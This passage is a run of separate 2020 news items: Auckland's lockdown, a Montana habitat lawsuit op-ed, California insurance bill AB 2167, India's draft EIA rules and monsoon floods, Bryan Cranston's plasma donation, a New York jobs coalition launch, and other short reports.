put more than one workplace at risk. Public facilities, bars, restaurants and businesses in Auckland must close on Wednesday, as will schools unless they have students whose parents are essential workers. "We're asking people in Auckland to stay home to stop the spread," Ms Ardern said. Loading For the rest of the country, level two restrictions involve social distancing, good hand-washing regimes, staying home if unwell and wearing a mask in areas where distancing is hard. New Zealands Director-General of Health Dr Ashley Bloomfield said the virus had been acquired from an unknown source and that more cases were inevitable. This is a tricky virus, Dr Bloomfield said. The health system is well prepared and the important thing is to stop the virus spreading through our community. The Prime Minister urged New Zealanders to come together to face the new outbreak. It was easy to feel like New Zealand was out of the woods, she said. No country has gone as far as we did without a resurgence. We have planned [for a possible resurgence], now that moment has arrived where we have to use that plan. Weve rolled out our plans before and it's worked. Loading Auckland mayor Phil Goff has called for calm and patience as the city goes into another lockdown. I understand that people are probably feeling a little bit scared, a little angry and a little confused right now," he said. "None of us wanted to go back into a lockdown, but we always knew this was a very real possibility. I am urging Aucklanders to come together like we did last time to stamp out community transmission. "Please remain calm, please do not panic buy and please follow the lockdown rules." Ms Ardern asking Aucklanders not to rush to the supermarket, but many stores were inundated with shoppers after the announcement. Auckland resident Tim Armstrong was at the supermarket when the lockdown announcement was made. He said anxious shoppers arrived almost immediately. "When I left, people were leaving with 10-litre bottles of water and trolleys of toilet paper and rice. Trolleys filled to the brim," he said. "I feel for the staff. There must be 10 people working who were expecting a quiet night." By the time Mr Armstrong left, a queue had already formed outside and cars were blocking the street, trying to get to the supermarket. A staff member had been put on the door to limit entry. New Zealand's successful fight against COVID-19 has made the Pacific island nation of 5 million one of the safest places in the world. New Zealanders had returned to normal life, but authorities said earlier this week they had become concerned people were refusing testing, not using the government contact-tracing apps, and even ignoring basic hygiene rules. "Achieving 100 days without community transmission is a significant milestone, however, as we all know, we can't afford to be complacent," Dr Bloomfield said. Two Christchurch retirement villages were put in partial lockdown on Tuesday after a number of residents began displaying signs of respiratory illness. Part of the uncertainty for colleges and universities is the prospect of regional COVID-19 spikes that could leave schools no choice but to again shutter their campuses. Should W&M be unable to open campus or unable to stay open, shortfalls would be very significant in all areas beyond the scale of prior downturns, the three William & Mary leaders said Tuesday in their joint statement to faculty and staff. George Mason University, which starts classes Aug. 24, is paying particular attention to pandemic conditions in Northern Virginia, where it has campuses in Fairfax, Prince William and Arlington counties. University President Gregory Washington noted in a message to the campus community that the school is troubled by an uptick in Prince Williams positivity rate the percentage of those who tested positive which was at 9% on Monday. In statements this week, leaders of some of Virginias most prominent universities, such as Virginia Tech and George Mason, stressed health preparations but did not sugarcoat the financial woes that would result if the schools reverted to online-only instruction this fall. Our nation is in a perilous place when federal agencies refuse to comply with federal court orders. Yet, thats just what Trumps Bureau of Land Management (BLM) did in its rush to destroy sagebrush, juniper and limber pine habitat in the Iron Mask area of Montanas federally-designated Elkhorn Wildlife Management Area. Im glad to announce the court recently issued a preliminary injunction to immediately stop the rogue agency. Background The 300,000 acre Elkhorn Mountains are designated to be managed to prioritize benefits to wildlife above all other uses. Yet the Iron Mask Project, which is in the Elkhorn Area of Critical Environmental Concern, authorizes cutting and burning sagebrush, juniper trees and limber pine on 5,397 acres to benefit a few local cattle ranchers, not the areas abundant and highly-prized wildlife. In March of 2018, the Alliance for the Wild Rockies and Native Ecosystem Council sued to stop the BLM's plan. One year later, federal Judge Susan Watters ordered the project halted because the agency failed to analyze the cumulative impacts of the project on wildlife. However, when the BLM issued the supplemental environmental analysis required by the court it ignored the mandate to analyze the impacts of the project on all wildlife. So we filed another lawsuit against the agency this February and a motion for a preliminary injunction to halt the project in March. The magistrate judge agreed with us and wrote in his recommendation: "The Court finds that it is in the publics interest for BLM to fulfill its mandate under NEPA before proceeding further with treatments in the Iron Mask. Without the requisite analysis, the public interest falls squarely on the Plaintiffs side." Judge Watters issued an injunction stopping the project on July 24. Why it matters Juniper trees produce up to 20,000 berries provide high-energy food for big game species as well as migratory birds, wild turkeys and upland game birds throughout fall and winter regardless of deep snow. Junipers in the Intermountain West also provide breeding habitat for at least 43 species of birds including many that have been identified by Montana as Species of Concern. These include the lark sparrow, loggerhead shrike, pinyon jay, Cassins finch, Clarks nutcracker, ferruginous hawk, golden eagle and northern goshawk. The BLM didn't even analyze the impacts on pinyon jays, one of the fastest declining bird populations in North America that depend on dense forests of juniper for colonial nesting and feed on the seeds of the limber pine trees slated for burning. Thats particularly troublesome when you consider the number of birds in the United States and Canada has declined by 3 billion, or 29 percent, over the past half-century, mostly due to loss of habitat and increased use of pesticides. Conclusion Under President Trumps highly-criticized leadership and that of the corporate lobbyists he appointed to run federal agencies like the BLM, the federal government is trying to manage the Elkhorns to benefit a few cattle ranchers while ignoring a federal court mandate to analyze the damage their project will have on bird habitat. Simply put, it makes no sense for the BLM to destroy even more native habitat to grow grass for cows. Montana has millions of cows -- but this is the Elkhorn Wildlife Management Area, not the Elkhorn Cattle Management Area. We shouldnt have to sue the Trump administration to force them to comply with the legal mandate of a federal courts order. But apparently thats what it takes when we have a president who thinks the laws and Constitution dont apply to him or his public land management agencies. Mike Garrity is the Executive Director of the Alliance for the Wild Rockies. Love 3 Funny 2 Wow 0 Sad 0 Angry 4 The stage has been set for a major battle over a California bill due to be heard in the next few weeks in a key committee that opponents say is a direct attack on insurance consumer protections and proponents say is the best way to make insurance more available in an increasingly wildfire-prone state. Assembly Bill 2167, authored by Assemblyman Tom Daly, D-Anaheim, would establish the Insurance Market Action Plan program, or IMAP program, under which residential property insurance policies in a county may qualify for IMAP protection. The bill has been moving along relatively swiftly considering much of Legislature has been hamstrung by COVID-19 precautions since early June when backers said they believe it has the right timing and plenty of momentum to go all the way. AB 2167 has been strongly opposed as an attack on insurance consumer protection law Proposition 103 by California Insurance Commissioner Ricardo Lara, who has called it an insurance industry wish list, with nothing to help consumers, and Consumer Watchdog, whose founder, Harvey Rosenfeld, authored Prop. 103. Its supported by the insurance industry, including the Personal Insurance Federation and the American Property Casualty Insurance Association. Its also being backed by the California Association of Counties (CSAC), CalFIREs union and Fire Safe Councils of California. Another watchdog group, the Consumer Federation of America, estimates the bill will lead to rate increases of 40%. While the insurer groups say the bill provides homeowners in wildfire zones access to more choice and competition among insurers based on price and coverage while avoiding costly and more limited FAIR Plan coverage. The bill was set to be heard on Thursday in the Senate Appropriations Committee. The hearing on the bill was postponed. The bill is most likely headed to Senate Appropriations suspense file, where the committees actions on all the bills with a fiscal cost are announced at the same time. Currently the deadline for that is Aug. 21. The chair of the Appropriations Committee is state Sen. Anthony Portantino, D- La Canada Flintridge, who voted in favor of the bill in the Senate Insurance Committee when it was last taken up. However, during that hearing he said that his vote should not be taken as support for the bill. Portantino voiced reservations about strong opposition from Lara, the possibility of a rate increase and other issues with the bill. Im going to support the bill today with those strong reservations, Portantino said during that hearing earlier this month. Were going to be looking at those issues with a very discerning eye. Carmen Balber, with Consumer Watchdog, offered her bottom-line on the bill: It will lead to higher rates for consumers. Even the insurance industry will acknowledge that this bill is intended to raise rates, Balber said. She added that the bill would dump a lot of Prop 103 protections, and it would rewrite insurance regulations in California. Theres nothing in the bill that will make sure that people who are actually shut out of homeowners insurance now will have expanded access, she said. This bill does not give a single homeowner access to coverage that they dont have today. Its a false promise. Mark Sektnan, vice president for state affairs of the APCIA, noted that Gov. Gavin Newsom has asked the industry to help come up with a solution for lack of insurance in wildfire-prone areas, and this is a solution. It doesnt take away any of the authority of the insurance commissioner, he said. Sektnan said the bill still works within the Prop 103 process, and noted there have been amendments to the bill to strengthen the commissioners role in the approval process. Lara said during the Senate Insurance Committee hearing last week that AB 2167 outlined how he believes the bill not benefit consumers in few ways, including even higher premiums, and the inclusion of unregulated reinsurance costs that are not regulated by the Department of Insurance and do not adhere to consumer protections under Prop 103. I fundamentally disagree with this bills fundamental premise that the current ratemaking process of the Department is not working, Lara said at that meeting. Today insurers are lining up at the Departments door in an unprecedented number, and if the insurance company can clearly demonstrate that the filed rate under Prop. 103 is not excessive, not inadequate and not unfairly discriminatory the departments rate regulation staff approves the rate. The department takes this responsibility very seriously to ensure the solvency of the insurance market, especially after our fires. I believe there is an existing process today for insurance companies to request adequate rates. AB 2167 would require an IMAP filing submitted to the California Department of Insurance by an insurer to include elements such as a request for adequate rates, a plan for maintaining solvency of the insurer and mitigation requirements. It would require an insurer that submits an IMAP filing to receive an expedited review of its rate filing, if the insurer uses an actuarial assumption for trend and loss development that is at the midpoint or less of rate impacts, or files for a rate increase based solely on increased reinsurance costs, and does not change any other aspect of its rate filing from its previous department approved rate. The bill calls for ensuring insurance rates are adequate to avoid insurer insolvencies and to permit insurers to operate in the states highest risk areas, reducing the number of residents that are required to rely upon the California FAIR Plan, incentivizing insurers to seek cost-based rates in exchange for assurances that they will serve high-risk communities at levels similar to their statewide presence and developing systems of accountability for individual and community-based loss mitigation efforts. The bills language makes the argument that climate change has created a new reality in California, where the average length of fire seasons are 80 days longer than in the 1970s, and that major insurers are pulling back from writing new policies or renewing policies in the wildland-urban interface fire areas. Additionally, the bill notes, premiums are increasing in the WUI, while most insurers do not take into consideration wildfire mitigation because no single insurer has loss experience in the WUI to validate the rates and premiums charged for each wildfire risk model score. Related: Topics Carriers California Catastrophe Natural Disasters Wildfire Property Market CultNews101.com: news, links, resources. Cults101.org: resources about cults, cultic groups, abusive relationships, movements, religions, political organizations and related topics. CultMediation.com: offers resources designed to help thoughtful families and friends understand and respond to the complexity of a loved ones cult involvement. Intervention101.com: to help families and friends understand and effectively respond to the complexity of a loved one's cult involvement. CultRecovery101.com: assists group members and their families make the sometimes difficult transition from coercion to renewed individual choice. New Delhi: The union environment ministry has received nearly 17 lakh objections, comments and suggestions to the draft environment impact assessment (EIA) notification of 2020 till Tuesday, including some repetitive emails. Tuesday was the last date for submitting objections and suggestions to the contentious draft regulation, according to a Delhi high court order. The ministrys EIA division has been tasked with studying the issues raised by people in their submissions and coming out with a final notification. The notification is also being considered in the Delhi high court. It will take us some time to consider the issues raised by these comments and suggestions. Letters have gone to the minister (Prakash Javadekar), many have come to me and to other officials. Many of them are repetitive, said environment secretary RP Gupta. The environment ministry has also held meetings and discussions with several EIA consultants, industry bodies and companies, whose comments are being considered separately. A total of 100 environmental groups, organisations and individuals, who are part of a national campaign to oppose the draft EIA notification, have over the last week addressed emails to 785 Lok Sabha and Rajya Sabha MPs from 28 states and eight union territories, they said in a statement on Tuesday. We are calling upon them to take a stand against the anti-environment and anti-people draft EIA notification 2020 and demand its immediate withdrawal. As elected political representatives, these ministers are duty bound to protect the interests of the people and the nation and its resources, which this draft legislation is bound to adversely impact. We have called upon the ministers to write to the Ministry of Environment Forest & Climate Change (MoEFCC) to demand withdrawal of the draft EIA notification 2020 and demand instead that strong environmental governance be put in place in consultation with the people, for protecting the ecology and natural resources of our country for present and future generations, they said. On March 18, the environment ministry made an amendment to Clause 5 (3) d of the environment protection rules, which gives the ministry 725 days to finalise the draft notification from the date it was first issued. In 2006, this was 365 days and was amended to 545 in 2017. Given the number of reactions the ministry has received and the demand for a more democratic process, it will be important for the ministry to reconsider the issuance of a final notification based on this draft. The comments can be used to set up a revised process which can be built on the comments received and to reach out to places where the news of the current amendments are yet to reach, said Kanchi Kohli, legal researcher at Centre for Policy Research. The draft has become an issue of political debate. On Sunday, Congress leader Rahul Gandhi said the draft EIA notification is not only disgraceful, it is dangerous. The hashtags #IndiaNotForSale and #LootoftheNation were trending on Twitter, with people drawing attention to concerns with the draft notification and demanding its withdrawal. Not only does it have the potential to reverse many of the hard-fought gains that have been won over the years in the battle to protect our environment, it could potentially unleash widespread environmental destruction and mayhem across India, Gandhi wrote in a lengthy post on a social media platform. Campaigning against a draft which is not a final notification yet is unnecessary and premature, Union environment minister Javadekar told journalists in an audio message. The corporate regulator says the federal government's early access to super scheme has been exploited by groups with links to serious and organised crime and real estate agents using pressure sales tactics. The Australian Securities and Investment Commission detailed the groups who had abused scheme in a response to questions from a parliamentary committee into financial services, which was taken on notice and released on Tuesday. ASIC chair James Shipton. Credit: Serious and organised crime targeting early release of superannuation payments (ERS), real estate agents encouraging tenants to access ERS to meet rental payments, credit providers advising borrowers to use ERS meet loan repayments and members of the public being charged fees to access ERS, ASIC said in its response. The watchdog said it had worked with the Australian Tax Office, Australian Federal Police, Australian Competition and Consumer Commission, Australian Criminal Intelligence Commission as well as other financial regulators to combat COVID-19 related scams and fraud. Bryan Cranston is opening up about recovering from the novel coronavirus (COVID-19) and his decision to donate plasma. On Tuesday, during a virtual appearance on Live with Kelly and Ryan, Cranston who revealed last month that he had contracted the virus and has since recovered shared that he and his wife Robin Dearden "had it very early on." "When my wife and I had it very early on the very first week that everything had shut down I didn't think that the world needed another celebrity saying, 'Hey, I had it!' so I just didn't say anything and went about my way," Cranston said, explaining why he chose to announce his diagnosis last month. "We were very fortunate," Cranston continued, sharing that he and his wife had "mild symptoms." Cranston said they experienced a "couple days of feeling achy" and "a week of severe lethargy." "I lost my taste and sense of smell for a couple months," Cranston said, adding that it has "since come back to about 75 percent." "I count my blessings that that was the extent of my sacrifice," Cranston said. "I had the antibodies and [wasn't] infected anymore and so I thought now is the time to give plasma." Neilson Barnard/Getty Bryan Cranston He explained that when he went to donate plasma, he recorded the process, prompting doctors to ask him to do a social media post about the donation in hopes of encouraging others to do the same. Cranston said that's when he also decided to go public and reveal he had previously contracted the virus. "I thought, 'Okay, this is a good reason for me to now out myself and say I had COVID-19 and I was very fortunate' and maybe if you had it and are fine now, maybe you can give plasma to those truly suffering," Cranston said he thought at the time. RELATED: Bryan Cranston Reveals He Contracted COVID-19 and Recovered: 'Keep Wearing the Damn Mask' Story continues Cranston also shared that he and his wife spent time with Tom Hanks and Rita Wilson, who also contracted the virus early on and have since recovered. "We were talking to them when they were still in Australia," Cranston said. "When they came back, the four of us had dinner together and we looked at each other and said, 'I think we can do this because we all had it, we're all not infected anymore' and at the time we thought, 'Oh, we can't get it again.' Now that is still uncertain, but if it possible to be reinfected, I can fight it off." RELATED: Tom Hanks Says He and Rita Wilson Had 'Very Different Reactions' to Coronavirus: It 'Was Odd' Tom Hanks Says He and Rita Wilson Had 'Very Different Reactions' to Coronavirus: It 'Was Odd' "My wife lost her sense of taste and smell, she had severe nausea, she had a much higher fever than I did," the actor explained of the pair's different experiences with the virus "But my heart goes out to those people who have passed and those suffering. If any of you watching now had it and got through it ... if you can consider giving plasma to your local blood bank, it will help many, many people," Cranston added. In July, Cranston shared on Instagram that despite being "pretty strict in adhering to the protocols" he still contracted the virus. "I was one of the lucky ones. Mild symptoms. I count my blessings and urge you to keep wearing the damn mask, keep washing your hands, and stay socially distant. We can prevail but ONLY if we follow the rules. Be well Stay well," Cranston added, signing the caption BC. In the accompanying video, Cranston is seen standing outside of the UCLA Blood & Platelet Center as he shared he decided to donate his plasma that contains COVID-19 antibodies to those still fighting off the virus. "This will help people recover faster and be used in scientific research studies about this virus," read a message in the video shown below the clip of Cranston later inside the center, documenting his plasma donation. Of the plasma donation, Cranston explained it takes an hour and he was allowed to watch the movie A Face in the Crowd to pass the time. Cranston later explained that the medical personnel collected 840 milliliters of plasma. As of Tuesday, there are over 5 million cases of coronavirus in the U.S. and at least 164,024 deaths, according to a New York Times database. As information about the coronavirus pandemic rapidly changes, PEOPLE is committed to providing the most recent data in our coverage. Some of the information in this story may have changed after publication. For the latest on COVID-19, readers are encouraged to use online resources from CDC, WHO, and local public health departments. PEOPLE has partnered with GoFundMe to raise money for the COVID-19 Relief Fund, a GoFundMe.org fundraiser to support everything from frontline responders to families in need, as well as organizations helping communities. For more information or to donate, click here. A delusional alien psychic has bizarrely claimed Victorian Premier Daniel Andrews was arrested and replaced by a clone. Former Sydney nurse Kerrie-Ann Thornton, 39, shared a strange video clip of herself explaining that Mr Andrews was taken to Guantanamo Bay on Monday. 'I found out this morning from my team that Daniel Andrews, the Victorian Premier scum, has been arrested and is at Gitmo,' she said. Former Sydney nurse turned alien psychic, Kerrie-Ann Thornton, (pictured above) claimed Victorian Premier Daniel Andrews was arrested and imprisoned on Monday Ms Thornton, who believes her body can channel messages from extraterrestrials, said she had 'no reason to doubt my team'. 'Everything they have told me, they have evidence and proof of, and I have been actively involved in it. 'This morning Dan Andrews has been arrested and the man you see on the TV is a clone,' Ms Thornton warned. She believed Andrews was being kept in the United States military prison and the coronavirus pandemic had been faked in order to capture criminals. 'They are actively keeping up the guise of this virus so they can keep people in fear, keep people inside their homes, so they can round up all these... criminals.' The psychic uploaded a bizarre video that explained Mr Andrews (pictured above) had been taken to United States military prison Guantanamo Bay and was replaced by a clone Ms Thornton (pictured) also claimed the coronavirus pandemic had been faked Ms Thornton said the coronavirus pandemic would disappear after 'this operation of rounding up all these criminals around the world has come to an end'. WHAT IS GUANTANAMO BAY? Guantanamo Bay detention camp is a United States military prison located in Guantanamo Bay Naval Base in Cuba The facility was established in 2002 It is also referred to as Guantanamo, GTMO and Gitmo The prison was established in the War on Terror during George W. Bush's presidency Guantanamo Bay is infamous for indefinitely detaining and torturing prisoners Its operations have been considered a major breach of human rights by Amnesty International Advertisement 'Numbers will ease off and the people that are blind to the truth will say 'Oh thank God we're finished.' 'There is no such thing as normal anymore,' she warned. The self professed telepathic communicator has also claimed to have contact with alien races and charged Sydneysiders to watch her contact them in March 2017. Ms Thornton charged $20 per head and gave odd physic readings to the audience members. She told one audience member to buy lottery tickets, warned another that she would have trouble with her internet and said someone's tropical fish would die. Ms Thornton also claimed that the Duchess of Cambridge, Kate Middleton, was a shape shifter and part of an alien race. Aliens did not possess Ms Thornton's body but she said she would not be deterred by non-believers. Victoria recorded 19 new deaths and 331 new cases of coronavirus on Tuesday. Mr Andrews warned the time for leniency in Melbourne was over when he announced tougher restrictions on Sunday August 2. He promised to crackdown on those disobeying draconian lockdown rules, saying there would be more police and Australian Defence Force personnel out in force ensuring residents were abiding by the directions of the Chief Health Officer. Huge fines of up to $19,826 for individuals and $99,132 for businesses will apply to anyone caught breaking the rules. It is mandatory for residents to wear a face covering outside and Melburnians may only leave their homes for essential reasons like exercise and food shopping. Victoria is currently under a strict Stage 4 lockdown to fight the virus (Mr Andrews pictured) Shower and thunderstorm activity has picked up across parts of India in recent weeks as the monsoon season continues. Areas that received rounds of downpours last week may be under the risk for flash flooding again. According to News Media India, a total of 110 people have been killed, and more than 56 million affected in Assam alone, due to recent flooding. A broad area of low pressure over the Bay of Bengal and northern India will try to consolidate into a monsoon low over northeastern India into the weekend. This area has seen multiple monsoon lows track across the regions throughout the rainy season. Because of this, shower and thunderstorm activity will increase across parts of Odisha, Chhattisgarh, Madhya Pradesh, Uttar Pradesh, Jharkhand and Bihar. Rounds of heavy rain and thunderstorms will also extend along the central and eastern Himalayan Mountains. CLICK HERE FOR THE FREE ACCUWEATHER APP By Monday, rainfall across these areas can total 50-100 mm (2-4 inches) with pockets of 100-200 mm (4-8 inches), especially in areas that receive repeat downpours. An AccuWeather Local StormMax of 300 mm (12 inches) will be possible, mainly in the mountains. These totals in an already rain-soaked area will greatly increase the risk for flash flooding and mudslides through at least the end of the week. In addition, any thunderstorms that develop will threaten the area with gusty winds and frequently lightning strikes. Similar rainfall totals are expected along the western coast of India from Gujarat to Karnataka as the persistent westerly flow brings in moisture from the Arabian Sea. This includes Mumbai, a city that has been hit particularly hard by monsoonal rains in recent weeks. So far this this month, Mumbai, India's largest city, has recorded 766 mm (30.16 inches) rainfall, 257 mm (10.12 inches) of which fell in just 24 hours on Aug. 4. Some suburbs reported rainfall totals as high as 300 mm (12 inches) on the same day. Story continues On average, the city reports 482 mm (18.99 inches) of rain during the entire month of August. People wearing masks as a precaution against the coronavirus try to make their way through a waterlogged street during heavy rain in Mumbai, India, Tuesday, Aug. 4, 2020. India's monsoon season runs from June to September. (AP Photo/Rajanish Kakade) This amount of rain in such a short period of time ground the city to a halt, according to a report from Reuters. Train service was suspended and roads throughout the city were inundated with water. Landslides were reported across the city. More rain on the way will exacerbate flooding in Mumbai; meanwhile, downpours are expected to decrease in southern India, improving conditions as a search of rescue operation continues in Kerala. Rescuers work at the site of a mudslide triggered by heavy monsoon rain in Idukki district, in the southern Indian state of Kerala, Friday, Aug. 7, 2020. (AP Photo) Heavy rainfall triggered a landslide at a tea plantation in the Idduki district during the early morning hours on Friday. At least 52 people have been killed as search efforts continue, according to local media. On Wednesday, three more bodies were discovered, bringing the death toll to 55. Heavy rain over the weekend hampered rescue efforts, but more widely separated showers and thunderstorms are expected through the rest of the week. Several hours after the landslide, a plane slid off the runway at the Calicut International Airport, killing over a dozen passengers. Keep checking back on AccuWeather.com and stay tuned to the AccuWeather Network on DirecTV, Frontier and Verizon Fios. Welcome Guest! You Are Here: NEW YORK, Aug. 11, 2020 /PRNewswire/ -- CEOs from 27 of the largest employers in the New York area are launching the New York Jobs CEO Council. The new CEO-led, results-oriented coalition will collaborate with educational institutions, community organizations and nonprofits to hire skilled workers, meet employer needs and connect New Yorkers with a focus on low-income and Black, Latinx and Asian communities with the skills that they need for today's and tomorrow's workplace. The member organizations aim to hire 100,000 traditionally underserved New Yorkers by 2030, a goal which includes job opportunities and apprenticeships for 25,000 CUNY students. The New York Jobs CEO Council will be led by Dr. Gail Mellow, who most recently served as President of LaGuardia Community College. "Access to quality education and training for in-demand jobs is key to creating economic opportunity for youth and workers in New York," said Dr. Mellow. "Our mission is to ensure people in New York's most vulnerable communities can access the skills that they need to pursue promising career pathways and benefit from the city's economic recovery." "The COVID crisis highlighted a sad societal truth: underserved communities too often pay the highest price, and as we work to build back better from this virus, New York is confronting this injustice head on," Governor Andrew M. Cuomo said. "The new initiative will play an important role connecting underserved communities with career resources and access to New York's world-class educational institutions, helping ensure economic prosperity is a dream anyone can realize, no matter their zip code." New York has the largest gross domestic product (GDP) of any Metropolitan Statistical Area (MSA) in the U.S. However, not all of the area's residents are positioned to benefit from the city's economy as it recovers from the impacts of the COVID-19 crisis. Even before the crisis, which has had a disproportionate impact on low-income Black, Latinx and Asian communities, unemployment in the Bronx was 85% higher than in Manhattan. At the same time, jobs in high demand have not been filled, with less than 400,000 unemployed workers but significantly more job openings in New York in 2018-2019. By joining forces with local educational institutions, community organizations and nonprofits, the New York Jobs CEO Council members will use their collective resources, capital and network to scale proven employer solutions, build on successful models and share best practices to maximize the Jobs Council's impact in creating pathways to stable careers for New Yorkers in low-income and diverse communities. "The economic crisis brought on by COVID-19 has had a disproportionate impact on low-income communities of color, and our recovery starts with investing in them," said Mayor Bill de Blasio. "I'm thankful the New York Jobs CEO Council is joining us to promote economic justice and provide opportunities for our City's diverse workforce. Together, we will build back our economy fairer and stronger than ever before." The New York Jobs CEO Council's co-chairs include: Jamie Dimon, CEO and Chairman, JPMorgan Chase; Carmine Di Sibio, Global Chairman and CEO, EY; Arvind Krishna, CEO, IBM; Kevin Sneader, Global Managing Partner, McKinsey & Company; and Julie Sweet, CEO, Accenture. Other initial members of the organization include: Ajay Banga, CEO, Mastercard; Jeff Bezos, Founder and CEO, Amazon; Michael Corbat, CEO, Citi; Steven J. Corwin, M.D., CEO, NewYork-Presbyterian; Kenneth Davis, M.D., President and CEO, Mount Sinai Health System; Brian Duperreault, CEO, AIG; Roger Ferguson, President and CEO, TIAA; Larry Fink, CEO and Chairman, BlackRock; Todd Gibbons, CEO, BNY Mellon; Peter Grauer, Chairman, Bloomberg L.P.; Meredith Kopit Levien, incoming President and CEO, The New York Times Company; John McAvoy, CEO, Con Edison; Brian Moynihan, CEO, Bank of America; Satya Nadella, CEO, Microsoft; Philip Ozuah, M.D., Ph.D., CEO, Montefiore Medicine; Sundar Pichai, CEO, Google; Charlie Scharf, CEO, Wells Fargo; David Solomon, Chairman and CEO, Goldman Sachs; Rob Speyer, President and CEO, Tishman Speyer; Stephen Squeri, Chairman and CEO, American Express; Craig Thompson, M.D., President and CEO, Memorial Sloan Kettering Cancer Center; and Hans Vestberg, CEO, Verizon. The New York Jobs CEO Council will seek opportunities to engage additional CEOs in order to broaden its membership and ensure that companies of all sizes are represented. Goals and Partners The initial goal of the New York Jobs CEO Council is to hire early-career New Yorkers from low-income and Black, Latinx and Asian communities into stable jobs that set them on long-term career pathways. The New York Jobs CEO Council will collaborate with CUNY to support student learning and the development of in-demand career pathways. These efforts will help 25,000 students who face barriers to economic opportunity secure entry-level jobs, apprenticeships and work-based learning opportunities with promising career trajectories at the New York Jobs CEO Council member companies. "Having lifted generations of low-income New Yorkers into the middle class and beyond, CUNY's singular academic quality and affordability set it apart as perhaps the most potent engine of social and economic advancement in the United States," said Felix V. Matos Rodriguez, Chancellor, City University of New York. "Because of our vast reach and unparalleled ability to scale educational opportunities from short-term certificates to doctoral degrees CUNY is ideally positioned to prepare large numbers of diverse, adept New Yorkers to take advantage of the extraordinary opportunity that the New York Jobs CEO Council initiative represents. We look forward to working with many of the largest employers in the City in applying theoretical learning to real-world contexts and building on CUNY's historic mission of high-quality education and service to underserved students and immigrant communities." In addition, to help more New Yorkers access modern youth apprenticeship opportunities, the New York Jobs CEO Council will adopt the CareerWise NY model of apprenticeship. CareerWise NY is an initiative that was incubated by nonprofit organization HERE to HERE and will now be established as an independent nonprofit. "Our student interns and apprentices are motivated by doing 'work that matters' in a real-world setting and as part of a team. For them, this is the ideal way to acquire critical workplace skills and begin building a network. Employers are often surprised by how quickly they learn and are able to contribute. That's why we are excited about the launch of the New York Jobs CEO Council," said Abby Jo Sigal, Founding CEO of HERE to HERE. "For HERE to HERE, it is the fruition of an enormous amount of work over the past two years to help establish and help incubate the business council as well as CareerWise New York. The new Jobs Council will bring the opportunities for work-based learning to many more students. It's a great investment in New York's future and economic recovery and promises to be life changing for many of the students we work with in the Bronx and throughout the city." The New York Jobs CEO Council will also partner with organizations such as HERE to HERE and the New York City Department of Education to help scale relevant programs. Over time, the Jobs Council will seek to foster partnerships with additional educational institutions, community organizations and nonprofits. In the future, the New York Jobs CEO Council will broaden the scope of its work to further expand its efforts to connect young people with in-demand jobs and support mid-career and transitioning workers. More information about the Jobs Council's goals and partners can be found here. Leadership and Governance Dr. Gail Mellow will serve as Executive Director of the New York Jobs CEO Council. Dr. Mellow most recently served as President of LaGuardia Community College, where she developed and executed the College's strategy that increased credit enrollment, graduation rates and dramatically expanded workforce development programs. Stanford University research ranks LaGuardia among the top five community colleges in creating social mobility for its students. Dr. Mellow has more than 30 years of experience in higher education. She is a nationally recognized leader on the changing landscape of higher education and strategies for moving low-income students into the middle class. Her leadership catalyzed collaboration between business and education resulting in thousands of new jobs and more profitable companies in New York City. Frequently appointed to national commissions on education and the workplace, she is also an active scholar with more than 20 books and articles. More information on the Jobs Council's leadership and governance structure can be found here. About the New York Jobs CEO Council The New York Jobs CEO Council is a results-oriented coalition of CEOs whose companies are collaborating to create a new talent pipeline that meets New York employers' evolving needs, and to provide New Yorkers from low-income and diverse communities with the skills and resources they need for the future of work. The organization supports the development, testing, implementation and scaling of innovative and successful solutions that can prepare residents, especially those in communities that lack access to economic opportunity, for the rapidly evolving needs and demands of the workplace. The New York Jobs CEO Council companies aim to hire 100,000 New York residents by 2030, including 25,000 CUNY students. Quotes from the Job Council's Co-Chairs "Many New Yorkers are stuck in low-paying jobs that could be lost in the future or are struggling to navigate the labor market as the COVID-19 crisis has further exacerbated the economic inequities in the city. As companies with a long-standing commitment to the New York area and its residents, we are using our collective power to prepare the city's workforce with the skills of the future and helping New Yorkers who have been left behind get a foot in the door." Jamie Dimon, CEO and Chairman, JPMorgan Chase "As a life-long New York area resident, I have seen the vast evolution of the job market in our area, but in recent years the changes have been swifter and more detrimental to those in low-income communities. The pandemic has exacerbated this trend. We must do more to make sure that the region is a place for all to thrive. The NY Jobs Council will help all New Yorkers get the training and skills they need to move up the economic ladder." Carmine Di Sibio, Global Chairman and CEO, EY "The Jobs Council will create much-needed economic opportunities for New Yorkers in diverse and underserved communities. With COVID-19 amplifying existing social inequities, we are stepping up to boost social mobility by broadening access to skills, training and jobs. This will not only help companies tap into fresh new talent but also ensure that people of all backgrounds can reap the fruits of the city's economic recovery and thrive in a fast-changing job market." Arvind Krishna, CEO, IBM "Our research estimates that more jobs in the metro New York area are at risk from COVID-19 than anywhere else in the U.S. The pandemic is accelerating trends that were already reshaping the future of work, particularly for underserved communities and other vulnerable segments of the population. Our analysis also shows that giving people the right training, skills and support can have significant impact on their livelihoods, and we are proud to help the Jobs Council build a more resilient, inclusive workforce for all New Yorkers that can serve as a model for other communities." Kevin Sneader, Global Managing Partner of McKinsey & Company "We look forward to working with our New York Jobs CEO Council partners to help advance equality and create opportunities for underserved New Yorkers. Now more than ever, professional apprenticeship and work-based learning programs play a critical role in closing the skills gap, helping people become job-ready for the roles of the future, and providing the support they need to realize their full potential." Julie Sweet, Chief Executive Officer, Accenture Find more quotes from member CEOs here. SOURCE New York Jobs CEO Council ATLANTIC CITY Two motor vehicle stops Sunday resulted in the recovery of two guns and the arrest of one city resident and three Maryland residents, police said Monday. At 2:11 a.m., Officer Ivaylo Ivanov conducted a motor vehicle stop in the 200 block of North Tennessee Avenue, Lt. Kevin Fair said in a news release. Kenshabba Brookens, 26, of Atlantic City, was arrested after Ivanov found a loaded handgun and marijuana inside the vehicle. At 12:56 p.m., Officers Corey Treadway and Matthew Talavera conducted a motor vehicle stop in the first block of North Michigan Avenue, Fair said. The driver, Jonathan Garcia, was arrested along with his passengers Justin Brooks and Justin McDonald after a handgun and more than 50 grams of marijuana were found in the vehicle, Fair said. The gun had no serial number or an identifying mark by a federal firearms manufacturer, Fair said. Brookens was charged with unlawful possession of a weapon and possession of a controlled dangerous substance, Fair said. He was sent to the Atlantic County jail. +2 Atlantic City police looking for Pleasantville suspect in shooting ATLANTIC CITY Police want the publics help in locating a suspect in the shooting of a man Vehicle production in Ukraine in January-July 2020 dropped 40% year-on-year, to 2,122 vehicles, the Ukrainian Motor Vehicle Manufacturers Association (Ukrautoprom) has reported. According to the report, in the first seven months of this year, Ukraine produced 1,783 passenger cars (42% less than 